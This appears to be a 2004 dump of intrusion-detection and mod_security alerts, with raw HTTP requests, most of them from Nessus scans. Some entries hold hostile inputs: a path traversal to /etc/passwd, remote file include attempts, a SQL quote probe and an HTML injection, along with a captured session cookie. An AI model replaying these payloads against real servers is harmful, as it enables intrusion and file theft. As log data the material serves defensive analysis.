Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%2278b27329af91250c430f1f2892f0e3cc%22%3Bs%3A6%3A%22userid%22%3Bi%3A16%3B%7D; bbmode=normal; phpbb2mysql_data=a%3A0%3A%7B%7D; phpbb2mysql_sid=470bafeaffd67803a8218bce2208cffa
Host: www.exovian.com
Proxy-Connection: Keep-Alive
Referer: http://www.exovian.com/forum/viewforum.php?f=10&sid=470bafeaffd67803a8218bce2208cffa
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)

HTTP/1.0 200 OK
X-Powered-By: PHP/4.3.3
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Content-Type: text/html
X-Cache: MISS from www.testproxy.net
Connection: close
2231Nessus 11747
CAN-2001-0958
web-application-activityWEB-MISC register.dll access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:03 2004] "GET /cgi-bin/register.dll HTTP/1.1" 404 300
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/register.dll
----------------------------------------
GET /cgi-bin/register.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2246Nessus 11771web-application-activityWEB-MISC webadmin.dll access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:05 2004] "GET /cgi-bin/webadmin.dll HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/webadmin.dll
----------------------------------------
GET /cgi-bin/webadmin.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2303BID8890web-application-activityWEB-PHP Advanced Poll popup.php access
Request: 203.77.209.35 - - [Thu Mar 11 04:38:19 2004] "GET http://www.ligabankmandiri.com/popup.php HTTP/1.0" 200 359
Handler: proxy-server
----------------------------------------
GET http://www.ligabankmandiri.com/popup.php HTTP/1.0
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Cookie: PHPSESSID=eaa093b3cfa1d89ccc6a52beb24c0f82
Host: www.ligabankmandiri.com
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)

HTTP/1.0 200 OK
X-Powered-By: PHP/4.1.2
Content-Type: text/html
X-Cache: MISS from www.testproxy.net
Connection: close
2321Nessus 11939web-application-activityWEB-IIS foxweb.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:09 2004] "GET /cgi-bin/foxweb.exe HTTP/1.1" 404 298
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/foxweb.exe
----------------------------------------
GET /cgi-bin/foxweb.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2322Nessus 11939web-application-activityWEB-IIS foxweb.dll access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:09 2004] "GET /cgi-bin/foxweb.dll HTTP/1.1" 404 298
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/foxweb.dll
----------------------------------------
GET /cgi-bin/foxweb.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2323BID9282
Nessus 11975
web-application-activityWEB-CGI quickstore.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:54 2004] "GET /cgi-bin/quickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id= HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/quickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id= HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2326CAN-2002-0375
BID4720
Nessus 11955
web-application-activityWEB-IIS sgdynamo.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:27 2004] "GET /cgi-bin/sgdynamo.exe?HTNAME=sgdynamo.exe HTTP/1.1" 404 300
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/sgdynamo.exe
----------------------------------------
GET /cgi-bin/sgdynamo.exe?HTNAME=sgdynamo.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2328Nessus 11982web-application-activityWEB-PHP authentication_index.php access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:40 2004] "GET /cgi-bin/authentication_index.php?PGV_BASE_DIRECTORY=http://xxxxxxx/ HTTP/1.1" 404 312
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/authentication_index.php
----------------------------------------
GET /cgi-bin/authentication_index.php?PGV_BASE_DIRECTORY=http://xxxxxxx/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2342BID6525web-application-attackWEB-PHP DCP-Portal remote file include attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:39:50 2004] "GET /cgi-bin/library/lib.php?root=http://xxxxxxxxxxx HTTP/1.1" 403 307
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/library
----------------------------------------
GET /cgi-bin/library/lib.php?root=http://xxxxxxxxxxx HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2372BID9557web-application-activityWEB-PHP Photopost PHP Pro showphoto.php access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:12 2004] "GET /cgi-bin/showphoto.php?photo=123' HTTP/1.1" 404 301
Handler: cgi-script
Error: script not found or unable to stat: /usr/local/apache/cgi-bin/showphoto.php
----------------------------------------
GET /cgi-bin/showphoto.php?photo=123' HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2393Nessus 12032
BID9537
web-application-activityWEB-PHP /_admin access
Request: 217.160.165.173 - - [Fri Mar 12 22:43:00 2004] "GET /cgi-bin/_admin/ HTTP/1.1" 403 299
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/_admin
----------------------------------------
GET /cgi-bin/_admin/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
2394BID8014web-application-attackWEB-MISC Compaq web-based management agent denial of service attempt
Request: 218.14.135.217 - - [Fri Mar 12 12:14:39 2004] "GET http://rextopia.com/track_lead/24/?height=1%20width=1%20border=0><!--end%20precisionplay--><!--ORB%20TRACKING--><IMG%20SRC= HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://rextopia.com/track_lead/24/?height=1%20width=1%20border=0&gt;&lt;!--end%20precisionplay--&gt;&lt;!--ORB%20TRACKING--&gt;&lt;IMG%20SRC=] for 50000 ms
----------------------------------------
GET http://rextopia.com/track_lead/24/?height=1%20width=1%20border=0><!--end%20precisionplay--><!--ORB%20TRACKING--><IMG%20SRC= HTTP/1.0
Accept: */*
Accept-Language: en-us
Host: rextopia.com
Proxy-~~~~~~~~~~: ~~~~~~~~~~
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
~~~~~~~: ~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
mod_security-message: Access denied with code 200. Pattern match "<(.|\n)+>" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1